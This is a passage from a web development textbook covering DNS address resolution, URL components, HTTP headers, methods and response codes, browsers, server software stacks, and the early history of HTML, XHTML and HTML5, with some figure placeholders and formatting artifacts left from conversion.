how they enter domain names, since misspellings are a common way for
malicious agents to exploit the WWW.

In Chapter 22 you will learn more about the details of domain registration.

2.2.3 Address Resolution
While domain names are certainly an easier way for users to reference a
website, eventually your browser needs to know the IP address of the website
in order to request any resources from it. DNS provides a mechanism for
software to discover this numeric IP address. This process is referred to as
address resolution.

As shown back in Figure 2.6 , when you request a domain name, a computer
called a domain name server will return the IP address for that domain. With



that IP address, the browser can then make a request for a resource from the
web server for that domain.

While Figure 2.6 provides a clear overview of the address resolution process,
it is quite simplified. What actually happens during address resolution is
more complicated, as can be seen in Figure 2.9 .

Figure 2.9 Domain name
address resolution process



Figure 2.9 Full Alternative Text

DNS is sometimes referred to as a distributed database system of name
servers. Each server in this system can answer, or look for the answer to
questions about domains, caching results along the way. From a client's
perspective, this is like a phonebook, mapping a unique name to a number
(sometimes multiple numbers).

Figure 2.9 is one of the more complicated ones in this text, so let's examine
the address resolution process in more detail.

1. The resolution process starts at the user's computer. When the URL
www.funwebdev.com is requested (perhaps by clicking a link or typing
it in), the browser will begin by seeing if it already has the IP address for
the domain in its cache. If it does, it can jump to step  in the diagram.

2. If the browser doesn't know the IP address for the requested site, it will
delegate the task to the DNS resolver, a software agent that is part of the
operating system. The DNS resolver also keeps a cache of frequently
requested domains; if the requested domain is in its cache, then the
process jumps to step .

3. Otherwise, it must ask for outside help, which in this case is a nearby
DNS server, a special server that processes DNS requests. This might be
a computer at your Internet service provider (ISP) or at your university
or corporate IT department. The address of this local DNS server is
usually stored in the network settings of your computer's operating
system, as can be seen in Figure 2.2 . This server keeps a more
substantial cache of domain name/IP address pairs. If the requested
domain is in its cache, then the process jumps to step .

4. If the local DNS server doesn't have the IP address for the domain in its
cache, then it must ask other DNS servers for the answer. Thankfully,
the domain system has a great deal of redundancy built into it. This
means that in general there are many servers that have the answers for
any given DNS request. This redundancy exists not only at the local
level (for instance, in Figure 2.9 , the ISP has a primary DNS server and

http://www.funwebdev.com


an alternative one as well) but at the global level as well.

5. If the local DNS server cannot find the answer to the request from an
alternate DNS server, then it must get it from the appropriate top-level
domain (TLD) name server. For funwebdev.com this is .com. Our local
DNS server might already have a list of the addresses of the appropriate
TLD name servers in its cache. In such a case, the process can jump to
step .

6. If the local DNS server does not already know the address of the
requested TLD server (for instance, when the local DNS server is first
starting up it won't have this information), then it must ask a root name
server for that information. The DNS root name servers store the
addresses of TLD name servers. IANA (Internet Assigned Numbers
Authority) authorizes 13 root servers, so all root requests will go to one
of these 13 roots. In practice, these 13 machines are mirrored and
distributed around the world (see http://www.root-servers.org/ for an
interactive illustration of the current root servers); at the time of writing,
there are over 500 root server machines. With the creation of new
commercial top-level domains in 2012, approximately 2000 or so new
TLDs has come online, creating a heavier load on these root name
servers.

7. After receiving the address of the TLD name server for the requested
domain, the local DNS server can now ask the TLD name server for the
address of the requested domain. As part of the domain registration
process (see Figure 2.8 ), the address of the domain's DNS servers are
sent to the TLD name servers, so this is the information that is returned
to the local DNS server in step .

8. The user's local DNS server can now ask the DNS server (also called a
second-level name server) for the requested domain
(www.funwebdev.com); it should receive the correct IP address of the
web server for that domain. This address will be stored in its own cache
so that future requests for this domain will be speedier. That IP address
can finally be returned to the DNS resolver in the requesting computer,
as shown in step .

http://funwebdev.com
http://www.root-servers.org/
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9. The browser will eventually receive the correct IP address for the
requested domain, as shown in step . Note: If the local DNS server
were unable to find the IP address, it would return a failed response,
which in turn would cause the browser to display an error message.

10. Now that it knows the desired IP address, the browser can finally send
out the request to the web server, which should result in the web server
responding with the requested resource (step ).

This process may seem overly complicated, but in practice, it happens very
quickly because DNS servers cache results. Once the server resolves
funwebdev.com, subsequent requests for resources on funwebdev.com will
be faster, since we can use the locally stored answer for the IP address rather
than have to start over again at the root servers.

To facilitate system-wide caching, all DNS records contain a time to live
(TTL) field, recommending how long to cache the result before requerying
the name server. Although this mechanism improves the efficiency and
response time of the DNS system, it has a consequence of delaying
propagation of changes throughout all servers. This is why administrators,
after updating a DNS entry, must wait for propagation to all client ISP
caches.

For more hands-on practice with the Domain Names System, please refer to
Chapter 22 on Deployment.

Note
Every web developer should understand the practice of pointing the name
servers to the web server hosting the site. Quite often, domain registrars can
convince customers into purchasing hosting together with their domain. Since
most users are unaware of the distinction, they do not realize that the
company from which you buy web space does not need to be the same place
you register the domain. Those name servers can then be updated at the
registrar to point to any name servers you use. Within 48 hours, the IP-to-
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domain name mapping should have propagated throughout the DNS system
so that anyone typing the newly registered domain gets directed to your web
server.



2.3 Uniform Resource Locators
In order to allow clients to request particular resources (files) from the server,
a naming mechanism is required so that the client knows how to ask the
server for that file. For the web that naming mechanism is the Uniform
Resource Locator (URL). As illustrated in Figure 2.10 , it consists of two
required components: the protocol used to connect, and the domain (or IP
address) to connect to. Optional components of the URL are the path (which
identifies a file or directory to access on that server), the port to connect to, a
query string, and a fragment identifier.

Figure 2.10 URL components
Figure 2.10 Full Alternative Text

2.3.1 Protocol
The first part of the URL is the protocol that we are using. Recall that in
Section 2.1, we listed several application layer protocols on the TCP/IP stack.
Many of those protocols can appear in a URL, and define what application
protocols to use. Requesting ftp://example.com/abc.txt sends out an FTP
request on port 21, while http://example.com/abc.txt would transmit an HTTP
request on port 80.

2.3.2 Domain
The domain identifies the server from which we are requesting resources.



Since the DNS system is case insensitive, this part of the URL is case
insensitive. Alternatively, an IP address can be used for the domain.

2.3.3 Port
The optional port attribute allows us to specify connections to ports other
than the defaults defined by the IANA authority. A port is a type of software
connection point used by the underlying TCP/IP protocol and the connecting
computer. If the IP address is analogous to a building address, the port
number is analogous to the door number for the building.

Although the port attribute is not commonly used in production sites, it can
be used to route requests to a test server, to perform a stress test, or even to
circumvent Internet filters. If no port is specified, the protocol component of
a URL determines which port to use.

The syntax for the port is to add a colon after the domain, then specify an
integer port number. Thus, for instance, to connect to our server on port 888,
we would specify the URL as http://funwebdev.com:888/.

2.3.4 Path
The path is a familiar concept to anyone who has ever used a computer file
system. The root of a web server corresponds to a folder somewhere on that
server. On many Linux servers that path is /var/www/html/ or something
similar (for Windows IIS machines it is often /inetpub/wwwroot/).

The path is optional. However, when requesting a folder or the top-level page
of a domain, the web server will decide which file to send you. On Apache
servers, it is generally index.html or index.php. Windows servers sometimes
use Default.html or Default.aspx. The default names can always be
configured and changed.



Note
The path on a Windows server is case insensitive. However, on non-
Windows servers (which is the majority of servers), the path is case sensitive.
This is often a real gotcha for students when referencing files in HTML and
CSS. If the student is using a Windows computer for her development work,
the underlying Windows operating system doesn't care about the case of
folders and file names. But when the website is uploaded to a web server that
is not using Windows, then case matters. For this reason, it is a common
convention amongst web developers to stick with lower case for all folders
and files.

2.3.5 Query String
Query strings will be covered in depth when we learn more about HTML
forms and server-side programming. They are a critical way of passing
information, such as user form input from the client to the server. In URLs,
they are encoded as key-value pairs delimited by & symbols and preceded by
the ? symbol. The components for a query string encoding a username and
password are illustrated in Figure 2.11 .

Figure 2.11 Query string
components

Figure 2.11 Full Alternative Text



2.3.6 Fragment
The last part of a URL is the optional fragment. This is used as a way of
requesting a portion of a page. Browsers will see the fragment in the URL,
seek out the fragment tag anchor in the HTML, and scroll the website down
to it. Many early websites would have one page with links to content within
that page using fragments and “back to top” links in each section.



2.4 Hypertext Transfer Protocol
There are several layers of protocols in the TCP/IP model, each one building
on the lower ones until we reach the highest level, the application layer,
which allows for many different types of services, like Secure Shell (SSH),
File Transfer Protocol (FTP), and the World Wide Web's protocol, that is, the
Hypertext Transfer Protocol (HTTP).

While the details of many of the application layer protocols are beyond the
scope of this text, HTTP is an essential part of the web and hence successful
developers require a deep understanding of it to build atop it successfully. We
will come back to the HTTP protocol at various times in this book; each time
we will focus on a different aspect of it. However, here we will just try to
provide an overview of its main points.

Hands-on Exercises Lab 2
Exercise
Seeing HTTP Headers

The HTTP establishes a TCP connection on port 80 (by default). The server
waits for the request, and then responds with a response code, headers, and an
optional message (which can include files) as shown in Figure 2.12 .



Figure 2.12 HTTP illustrated
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2.4.1 Headers
Headers are sent in the request from the client and received in the response
from the server. These encode the parameters for the HTTP transaction,
meaning they define what kind of response the server will send. Headers are



one of the most powerful aspects of HTTP and unfortunately, few developers
spend any time learning about them. Although there are dozens of headers,7
we will cover a few of the essential ones to give you a sense of what type of
information is sent with each and every request.

Request headers include data about the client machine (as in your personal
computer). Web developers can use this information for analytic reasons and
for site customization. Some of these include the following:

Host. The host header was introduced in HTTP 1.1, and it allows
multiple websites to be hosted from the same IP address. Since requests
for different domains can arrive at the same IP, the host header tells the
server which domain at this IP address we are interested in.

User-Agent. The User-Agent string is the most referenced header in
modern web development. It tells us what kind of operating system and
browser the user is running. Figure 2.13 shows a sample string and the
components encoded within. These strings can be used to switch
between different style sheets and to record statistical data about the
site's visitors.

Figure 2.13 User-Agent
components

Figure 2.13 Full Alternative Text

Accept. The Accept header tells the server what kind of media types the
client can receive in the response. The server must adhere to these
constraints and not transmit data types that are not acceptable to the
client. A text browser, for example, may not accept attachment binaries,
whereas a graphical browser can do so.



Accept-Encoding. The Accept-Encoding headers specify what types of
modifications can be done to the data before transmission. This is where
a browser can specify that it can unzip or “deflate” files compressed
with certain algorithms. Compressed transmission reduces bandwidth
usage, but is only useful if the client can actually deflate and see the
content.

Connection. This header specifies whether the server should keep the
connection open, or close it after response. Although the server can
abide by the request, a response Connection header can terminate a
session, even if the client requested it stay open.

Cache-Control. The Cache header allows the client to control browser-
caching mechanisms. This header can specify, for example, to only
download the data if it is newer than a certain age, never redownload if
cached, or always redownload. Proper use of the Cache-Control header
can greatly reduce bandwidth.

Response headers have information about the server answering the request
and the data being sent. Some of these include the following:

Server. The Server header tells the client about the server. It can include
what type of operating system the server is running as well as the web
server software that it is using.

Note
The Server header can provide information to hackers about your
infrastructure. If, for example, you are running a vulnerable version of a
plugin, and your Server header declares that information to any client that
asks, you could be scanned, and subsequently attacked based on that header
alone. For this reason, many administrators limit this field to as little info as
possible.

Last-Modified. Last-Modified contains information about when the
requested resource last changed. A static file that does not change will



always transmit the same last modified timestamp associated with the
file. This allows cache mechanisms (like the Cache-Control request
header) to decide whether to download a fresh copy of the file or use a
locally cached copy.

Content-Length. Content-Length specifies how large the response body
(message) will be. The requesting browser can then allocate an
appropriate amount of memory to receive the data. On dynamic websites
where the Last-Modified header changes with each request, this field
can also be used to determine the “freshness” of a cached copy.

Content-Type. To accompany the request header Accept, the response
header Content-Type tells the browser what type of data is attached in
the body of the message. Some media-type values are text/html,
image/jpeg, image/png, application/xml, and others. Since the body
data could be binary, specifying what type of file is attached is essential.

Content-Encoding. Even though a client may be able to gzip decompress
files and specified so in the Accept-Encoding header, the server may or
may not choose to encode the file. In any case, the server must specify
to the client how the content was encoded so that it can be decompressed
if need be.

Note
Although compressing pages before transmission reduces bandwidth, it
requires CPU cycles and memory to do so. On busy servers, sometimes it can
be more efficient to transmit dynamic content uncompressed, saving those
CPU cycles to respond to requests.

2.4.2 Request Methods
The HTTP protocol defines several different types of requests, each with a
different intent and characteristics. The most common requests are the GET



and POST request, along with the HEAD request. Other requests, such as PUT,
DELETE, CONNECT, TRACE, and OPTIONS are used more infrequently, and are not
covered here.

The most common type of HTTP request is the GET request. In this request,
one is asking for a resource located at a specified URL to be retrieved.
Whenever you click on a link, type in a URL in your browser, or click on a
bookmark, you are usually making a GET request.

Data can also be transmitted through a GET request, through the URL as a
query string, something you saw in back in Section 2.3.5, and will see again
in Chapter 5.

The other common request method is the POST request. This method is
normally used to transmit data to the server using an HTML form (though as
we will learn in Chapter 5, a data entry form could use the GET method
instead). In a POST request, data is transmitted through the header of the
request, and as such is not subject to length limitations like with GET.
Additionally, since the data is not transmitted in the URL, it is seen to be a
safer way of transmitting data (although in practice all post data is transmitted
unencrypted, and can be read nearly as easily as GET data). Figure 2.14
illustrates a GET and a POST request in action.



Figure 2.14 GET versus POST
requests
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A HEAD request is similar to a GET except that the response includes only the
header information, and not the body that would be retrieved in a full GET.
Search engines, for example, use this request to determine if a page needs to
be reindexed without making unneeded requests for the body of the resource,
saving bandwidth.



2.4.3 Response Codes
Response codes are integer values returned by the server as part of the
response header. These codes describe the state of the request, including
whether it was successful, had errors, requires permission, and more. For a
complete listing, please refer to the HTTP specification. Some commonly
encountered codes are listed in Table 2.1 to provide a taste of what kind of
response codes exist.

Table 2.1 HTTP Response
Codes

Code Description

200: OK
The 200 response code means that the request was
successful.

301: Moved

Permanently

Tells the client that the requested resource has
permanently moved. Codes like this allow search
engines to update their databases to reflect the new
location of the resource. Normally the new location
for that resource is returned in the response.

304: Not

Modified

If the client requested a resource with appropriate
Cache-Control headers, the response might say
that the resource on the server is no newer than the
one in the client cache. A response like this is just a
header, since we expect the client to use a cached
copy of the resource.

307:

Temporary

redirect

This code is similar to 301, except the redirection
should be considered temporary.

400: Bad

Request

If something about the headers or HTTP request in
general is not correctly adhering to HTTP protocol,
the 400 response code will inform the client.
Some web resources are protected and require the



401:

Unauthorized

user to provide credentials to access the resource. If
the client gets a 401 code, the request will have to
be resent, and the user will need to provide those
credentials.

404: Not

found

404 codes are one of the only ones known to web
users. Many browsers will display an HTML page
with the 404 code to them when the requested
resource was not found.

414: Request

URI too long

URLs have a length limitation, which varies
depending on the server software in place. A 414
response code likely means too much data is likely
trying to be submitted via the URL.

500:

Internal

server error

This error provides almost no information to the
client except to say the server has encountered an
error.

The codes use the first digit to indicate the category of response. 2## codes
are for successful responses, 3## are for redirection-related responses, 4##
codes are client errors, while 5## codes are server errors.

Note
The previous pages have described HTTP/1.1, which was standardized in
1997. At the time of writing, HTTP/2 became a W3C Recommendation in
2015, and is slowly being adopted.



2.5 Web Browsers
The user experience for a website is unlike the user experience for traditional
desktop software. Users do not download software; they visit a URL, which
results in a web page being displayed. Although a typical web developer
might not build a browser, or develop a plugin, they must understand the
browser's crucial role in web development.

2.5.1 Fetching a web page
Although we as web users might be tempted to think of an entire page being
returned in a single HTTP response, this is not in fact what happens.

In reality, the experience of seeing a single web page is facilitated by the
client's browser, which requests the initial HTML page, then parses the
returned HTML to find all the resources referenced from within it, like
images, style sheets, and scripts. Only when all the files have been retrieved
is the page fully loaded for the user, as shown in Figure 2.15 . A single web
page can reference dozens of files and requires many HTTP requests and
responses.



Figure 2.15 Browser parsing
HTML and making subsequent
requests
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The fact that a single web page requires multiple resources, possibly from
different domains, is the reality we must work with and be aware of. Modern
browsers provide the developer with tools that can help us understand the
HTTP traffic for a given page. Figure 2.16 shows a screen from the Firefox
plugin FireBug (an HTML/JavaScript debugger), which lists the resources



requested for a current page and the breakdown of the load times for each
component.

Figure 2.16 Distribution of load
times

Figure 2.16 Full Alternative Text

2.5.2 Browser Rendering
The actual act of interpreting the entire HTML markup together with the



image and other assets into a grid of pixels for display within the browser
window is called rendering the webpage. This incredibly complex process is
implemented differently for each browser (Firefox, Chrome, Safari, Explorer,
and Opera), which is the cause for sites looking different in different
browsers.

2.5.3 Browser Caching
Once a webpage has been downloaded from the server, it's possible that the
user, a short time later, wants to see the same web page and refreshes the
browser or re-requests the URL. Although some content might have changed
(say a new blog post in the HTML), the majority of the referenced files are
likely to be unchanged (i.e., “fresh” as illustrated in Figure 2.17 ), so they
needn't be redownloaded. Browser caching has a significant impact in
reducing network traffic and will be come up again in greater detail
throughout this book.



Figure 2.17 Illustration of
browser caching using cached
resources
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2.5.4 Browser features
Once upon a time browsers had very few features aside from the minimum
requirements of displaying web pages, and perhaps managing bookmarks.



Over the decades, users have come to expect more from browsers, so now
they include features, such as search engine integration, URL
autocompletion, cloud caching of user history/bookmarks, phishing website
detection, secure connection visualization, and much more.

These features enhance the browsing experience for users, and require that
web developers test their webpages before deployment to ensure none of
these features change the performance of their webpage.

2.5.5 Browser Extensions
A recent development in browser technology are extensions or add-ons,
which extends basic browser functionality. These extensions are written in
JavaScript and offer value to both developers and the general public, though
they complicate matters somewhat since they can occasionally interfere with
the presentation of web content.

For developers, extensions like Firebug and YSlow offer valuable debugging
and analysis tools at no cost. These tools let us find bugs, or analyze the
speed of our site, integrating with the browser to provide access lots of
valuable information.

For the general public extensions can add functionality, such as auto fill
forms and passwords. Ad-blocking extensions, such as AdBlock have
improved the web experience by removing intrusive ads for users but have
reduced revenue and challenged current business models for webmasters
relying on ad displays.



2.6 Web Servers
A web server is, at a fundamental level, nothing more than a computer that
responds to HTTP requests. The first web server was hosted on Tim Berners-
Lee's desktop computer; later when you begin PHP development in Chapter
11, you may find yourself turning your own computer into a web server.

Real-world web servers are often more powerful than your own desktop
computer, and typically come with additional software and hardware features
that make them more reliable and replaceable. And as we saw in Section
1.3.6, real-world websites typically have many web servers configured
together in web farms.

Regardless of the physical characteristics of the server, one must choose an
application stack to run a website. This application stack will include an
operating system, web server software, a database, and a scripting language
to process dynamic requests.

Web practitioners often develop an affinity for a particular stack (often
without rationale). Throughout this textbook, we will rely on the LAMP
software stack, which refers to the Linux operating system, Apache web
server, MySQL database, and PHP scripting language. Since Apache and
MySQL also run on Windows and Mac operating systems, variations of the
LAMP stack can run on nearly any computer (which is great for students).
The Apple OSX MAMP software stack is nearly identical to LAMP, since
OSX is a Unix implementation, and includes all the tools available in Linux.
The WAMP software stack is another popular variation where Windows
operating system is used.

Despite the wide adoption of the LAMP stack, web developers need to be
aware of alternate software that could be used to support their websites.
Many corporations, for instance, make use of the Microsoft WISA software
stack, which refers to Windows operating system, IIS web server, SQL
Server database, and the ASP.NET server-side development technologies.
Another web development stack that is growing in popularity is the so-called



MEAN software stack, which refers to MongoDB database, Express.js
application framework, Angular.js client-side MVC framework, and node.js
as web server/execution environment. This MEAN stack can actually run on
different operating systems, so it is a different type of stack from LAMP or
WISA. You will learn more about the MEAN stack in Chapter 20.

2.6.1 Operating Systems
The choice of operating system will constrain what other software can be
installed and used on the server. The most common choice for a web server is
a Linux-based OS, although there is a large business-focused market that uses
Microsoft Windows IIS.

Linux is the preferred choice for technical reasons like the higher average
uptime, lower memory requirements, and the ability to remotely administer
the machine from the command line, if required. The free cost also makes it
an excellent tool for students and professionals alike looking to save on
licensing costs.

Organizations that have already adopted Microsoft solutions across the
organization are more likely to use a Windows server OS to host their
websites, since they will have in-house Windows administrators familiar with
the Microsoft suite of tools.

2.6.2 Web Server Software
If running Linux, the most popular web server software is Apache, which has
been ported to run on Windows, Linux, and Mac, making it platform
agnostic. Apache is also well suited to textbook discussion since all of its
configuration options can be set through text files (although graphical
interfaces exist).

The open-source nginx is another web server option whose user base is
beginning to approach that of Apache.8 Nginx is especially fast for sites with
large numbers of simultaneous users requesting static files. For instance, a



busy site with dynamic content might make use of Apache to host its PHP
pages, but will use nginx on different servers to handle requests for images,
JavaScript, and CSS files.

IIS, the Windows server software, is preferred largely by those using
Windows in their enterprises already or who prefer the .NET development
framework. The most compelling reason to choose an IIS server is to get
access to other Microsoft tools and products, including ASP.NET and SQL
Server.

2.6.3 Database Software
The moment you decide your website will be dynamic, and not just static
HTML pages, you will likely need to make use of relational database
software capable of running SQL queries.

The open-source DBMS of choice is usually MySQL (though some prefer
PostgreSQL or SQLite), whereas the proprietary choice for web DBMS
includes Oracle, IBM DB2, and Microsoft SQL Server. All of these database
servers are capable of managing large amounts of data, maintaining integrity,
responding to many queries, creating indexes, creating triggers, and more.
The differences between these servers are real, but are not relevant to the
scope of projects we will be developing in this text.

With the growth in so-called Big Data, nonrelational (also referred to as No-
SQL) databases have garnered an increasing larger share of the web database
market. Perhaps the most popular of these is the open-source MongoDB,
which is part of the so-called MEAN web stack. Nonrelational databases are
particularly powerful when working with large, unstructured data that needs
to be spread across multiple servers.

In this book, you will be mainly using MySQL Server, though there will be
some exposure to MongoDB as well. If you decide to use a different
database, you may need to alter some of the queries.

http://ASP.NET


2.6.4 Scripting Software
Finally (or perhaps firstly if you are starting a project from scratch) is the
choice of server-side development language or platform. This development
platform will be used to write software that responds to HTTP requests. The
choice for a LAMP stack is usually PHP or Python. We have chosen PHP due
to its access to low-level HTTP features, object-oriented support, C-like
syntax, and its wide proliferation on the web.

Other technologies like ASP.NET are available to those interested in working
entirely inside the Microsoft platform. Each technology does have real
advantages and disadvantages, but we will not be addressing them here.

We should mention the unique case of node.js, which is both a JavaScript
server-side scripting platform analogous to PHP or ASP.NET and at the same
time, it is also web server software analogous to Apache or IIS. Node.js is
part of the MEAN web stack, and is especially well suited for high-traffic
websites. We will be covering node.js in more detail in Chapter 20.



2.7 Chapter Summary
The chapter focused on the key protocols and concepts that make the web
work. The DNS, URLs, and the HTTP protocol are key technologies utilized
by webservers and browsers. It also examined in brief both the browser and
the server. Different web application development stacks were also described.

2.7.1 Key Terms
address resolution

Apache

Application stack

application layer

country code top-level domain (ccTLD)

DNS resolver

DNS server

domain names

domain name registrars

Domain Name System (DNS)

FTP

four-layer network model

generic top-level domain (gTLD)



GET request

HTTP

Internet Corporation for Assigned Names and Numbers (ICANN)

Internet Assigned Numbers Authority (IANA)

internationalized top-level domain name (IDN)

Internet layer

Internet Protocol (IP)

IP address

IPv4

IPv6

LAMP software stack

link layer

MAC addresses

MEAN software stack

packet

protocol

port

POST request

protocol

request



request headers

response codes

response headers

reverse DNS lookups

root name server

second-level domain

SFTP

SSH

subdomain

TCP/IP (Transmission Control Protocol/Internet Protocol)

transport layer

Transmission Control Protocol (TCP)

top-level domain (TLD)

TLD name server

User Datagram Protocol (UDP)

Uniform Resource Locator (URL)

web server

WISA software stack

2.7.2 Review Questions



1. 1. Describe the main steps in the domain name registration process.

2. 2. What are the two main benefits of DNS?

3. 3. How many levels can a domain name have? What are generic top-
level domains?

4. 4. Describe the main steps in the domain name address resolution
process.

5. 5. How many requests are involved in displaying a single web page?

6. 6. Describe the four layers in the four-layer network model.

7. 7. What is the Internet Protocol (IP)? Why is it important for web
developers?

8. 8. How many distinct domains can be hosted at a single IP address?

9. 9. What is the LAMP stack? What are some of its common variants?

10. 10. How can browser extensions help and hinder web developers?

11. 11. What is browser caching? What value does it provide?

12. 12. What are the four key components of a web software stack?
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3 Introduction to HTML



Chapter Objectives
In this chapter you will learn …

A very brief history of HTML

The syntax of HTML

Why semantic structure is so important for HTML

How HTML documents are structured

A tour of the main elements in HTML

The semantic structure elements in HTML5

This chapter provides an overview of HTML, the building block of all web
pages. The massive success and growth of the web has in large part been due
to the simplicity of this language. There are many books devoted just to
HTML; this book covers HTML in just two chapters. As a consequence, this
chapter skips over some details and instead focuses on the key parts of
HTML.



3.1 What Is HTML and Where Did
It Come from?
Dedicated HTML books invariably begin with a brief history of HTML. Such
a history might begin with the ARPANET of the late 1960s, jump quickly to
the first public specification of the HTML by Tim Berners-Lee in 1991, and
then to HTML's codification by the World Wide Web Consortium (better
known as the W3C) in 1997. Some histories of HTML might also tell stories
about the Netscape Navigator and Microsoft Internet Explorer of the early
and mid-1990s, a time when intrepid developers working for the two browser
manufacturers ignored the W3C and brought forward a variety of essential
new tags (such as, for instance, the <table> tag), and features such as CSS
and JavaScript, all of which have been essential to the growth and
popularization of the web.

Perhaps in reaction to these manufacturer innovations, in 1998 the W3C froze
the HTML specification at version 4.01. This specification begins by stating:

To publish information for global distribution, one needs a universally
understood language, a kind of publishing mother tongue that all
computers may potentially understand. The publishing language used by
the World Wide Web is HTML (from HyperText Markup Language).

As one can see from the W3C quote, HTML is defined as a markup language.
A markup language is simply a way of annotating a document in such a way
as to make the annotations distinct from the text being annotated. Markup
languages such as HTML, Tex, XML, and XHTML allow users to control
how text and visual elements will be laid out and displayed. The term comes
from the days of print, when editors would write instructions on manuscript
pages that might be revision instructions to the author or copy editor. You
may very well have been the recipient of markup from caring parents or
concerned teachers at various points in your past, as shown in Figure 3.1 .



Figure 3.1 Sample ad-hoc
markup languages

Figure 3.1 Full Alternative Text

At its simplest, markup is a way to indicate information about the content



that is distinct from the content. This “information about content” in HTML
is implemented via tags (or more formally, HTML elements, but more on that
later). The markup in Figure 3.1 consists of the red text and the various
circles and arrows and the little yellow sticky notes. HTML does the same
thing but uses textual tags.

In addition to specifying “information about content” many markup
languages are able to encode information how to display the content for the
end user. These presentation semantics can be as simple as specifying a bold
weight font for certain words, and were a part of the earliest HTML
specification. Although combining semantic markup with presentation
markup is no longer permitted in HTML5, “formatting the content” for
display remains a key reason why HTML was widely adopted.

Background
Created in 1994, the World Wide Web Consortium (W3C) is the main
standards organization for the World Wide Web (WWW). It promotes
compatibility, thereby ensuring web technologies work together in a
predictable way.

To help in this goal, the W3C produces Recommendations (also called
specifications). These Recommendations are very lengthy documents that are
meant to guide manufacturers in their implementations of HTML, XML, and
other web protocols.

The membership of the W3C at present consists of almost 400 members;
these include businesses, government agencies, universities, and individuals.

3.1.1 XHTML
Instead of growing HTML, the W3C turned its attention in the late 1990s to a
new specification called XHTML 1.0, which was a version of HTML that
used stricter XML (extensible markup language) syntax rules (see



Background next).

But why was “stricter” considered a good thing? Perhaps the best analogy
might be that of a strict teacher. When one is prone to bad habits and is
learning something difficult in school, sometimes a teacher who is more
scrupulous about the need to finish daily homework may actually in the long
run be more beneficial than a more permissive and lenient teacher.

As the web evolved in the 1990s, web browsers evolved into quite permissive
and lenient programs. They could handle sloppy HTML, missing or
malformed tags, and other syntax errors. However, it was somewhat
unpredictable how each browser would handle such errors. The goal of
XHTML with its strict rules was to make page rendering more predictable by
forcing web authors to create web pages without syntax errors.

To help web authors, two versions of XHTML were created: XHTML 1.0
Strict and XHTML 1.0 Transitional. The strict version was meant to be
rendered by a browser using the strict syntax rules and tag support described
by the W3C XHTML 1.0 Strict specification; the transitional
recommendation is a more forgiving flavor of XHTML, and was meant to act
as a temporary transition to the eventual global adoption of XHTML Strict.

Background
Like HTML, XML is a textual markup language. Also like HTML, the
formal rules for XML were set by the W3C.

XML is a more general markup language than HTML. It is (and has been)
used to mark up any type of data. XML-based data formats (called schemas
in XML) are almost everywhere. For instance, Microsoft Office products
now use compressed XML as the default file format for the documents it
creates. RSS data feeds use XML and Web 2.0 sites often use XML data
formats to move data back and forth asynchronously between the browser
and the server. The following is an example of a simple XML document:

<?xml version=“1.0” encoding=“ISO-8859-1”?> 



<art> 

  <painting id=“290”> 

    <title>Balcony</title> 

    <artist> 

      <name>Manet</name> 

      <nationality>France</nationality> 

    </artist> 

    <year>1868</year> 

    <medium>Oil on canvas</medium> 

  </painting> 

</art>

By and large, the XML-based syntax rules (called “well formed” in XML
lingo) for XHTML are pretty easy to follow. The main rules are:

There must be a single root element.

Element names are composed of any of the valid characters (most
punctuation symbols and spaces are not allowed) in XML.

Element names can't start with a number.

Element and attribute names are case sensitive.

Attributes must always be within quotes.

All elements must have a closing element (or be self-closing).

XML also provides a mechanism for validating its content. It can check, for
instance, whether an element name is valid, or elements are in the correct
order, or that the elements follow a proper nesting hierarchy. It can also
perform data type checks on the text within an element: for instance, whether
the text inside an element called <date> is actually a valid date, or the text
within an element called <year> is a valid integer and falls between, say, the
numbers 1950 and 2010. Chapter 19 covers XML in more detail.

The payoff of XHTML Strict was to be predictable and standardized web
documents. Indeed, during much of the 2000s, the focus in the professional
web development community was on standards: that is, on limiting oneself to
the W3C specification for XHTML.



A key part of the standards movement in the web development community of
the 2000s was the use of HTML validators (see Figure 3.2 ) as a means of
verifying that a web page's markup followed the rules for XHTML
Transitional or Strict. Web developers often placed proud images on their
sites to tell the world at large that their site followed XHTML rules (and also
to communicate their support for web standards).



Figure 3.2 W3C markup
validation service

Figure 3.2 Full Alternative Text

Yet despite the presence of XHTML validators and the peer pressure from
book authors, actual web browsers tried to be forgiving when encountering
badly formed HTML so that pages worked more or less how the authors
intended regardless of whether a document was XHTML valid or not.

In the mid-2000s, the W3C presented a draft of the XHTML 2.0
specification. It proposed a revolutionary and substantial change to HTML.
The most important was that backwards compatibility with HTML and
XHTML 1.0 was dropped. Browsers would become significantly less
forgiving of invalid markup. The XHTML 2.0 specification also dropped
familiar tags such as <img>, <a>, <br>, and numbered headings such as <h1>.
Development on the XHTML 2.0 specification dragged on for many years, a
result not only of the large W3C committee in charge of the specification, but
also of gradual discomfort on the part of the browser manufacturers and the
web development community at large, who were faced with making
substantial changes to all existing web pages.

3.1.2 HTML5
At around the same time the XHTML 2.0 specification was being developed,
a group of developers at Opera and Mozilla formed the WHATWG (Web
Hypertext Application Technology Working Group) group within the W3C.
This group was not convinced that the W3C's embrace of XML and its
abandonment of backwards-compatibility was the best way forward for the
web. Thus the WHATWG charter announced:

“The Web Hypertext Applications Technology working group therefore
intends to address the need for one coherent development environment
for Web applications, through the creation of technical specifications



that are intended to be implemented in mass-market Web browsers.”

That is, WHATWG was focused less on semantic purity and more on the web
as it actually existed. As well, unlike the large membership of the W3C, the
WHATWG group was very small and led by Ian Hickson. As a consequence,
the work at WHATWG progressed quickly, and eventually, by 2009, the
W3C stopped work on XHTML 2.0 and instead adopted the work done by
WHATWG and named it HTML5.

There are three main aims to HTML5:

1. Specify unambiguously how browsers should deal with invalid markup.

2. Provide an open, nonproprietary programming framework (via
JavaScript) for creating rich web applications.

3. Be backward compatible with the existing web.

While parts of the HTML5 are still being finalized, all of the major browser
manufacturers have at least partially embraced HTML5. Certainly not all
browsers and all versions support every feature of HTML5. This is in fact by
design. HTML in HTML5 is now a living language: that is, it is a language
that evolves and develops over time. As such, every browser will support a
gradually increasing subset of HTML5 capabilities. In late September 2012,
the W3C announced that they planned to have the main elements of the
HTML5 specification moved to Recommendation status (i.e., the
specification would be finalized in terms of features) in October 2014, and
the less-stable parts of HTML5 moved to HTML5.1 (with a tentative
completion date by late 2016).

This certainly creates complications for web developers. Does one only use
HTML elements that are universally supported by all browsers, or all the
newest elements supported only by the most recent browsers, or …
something in between? This is an interesting question as well for the authors
of this textbook. Should we cover only what is supported by the HTML5
standard or should we cover some of the new features in HTML5.1?

In this text, we have taken the position that in general, as potential web



development professionals, you will likely be using an up-to-date browser.
As such, this book assumes that you are using a browser that supports at least
some of the HTML5.1 features.



3.2 HTML Syntax
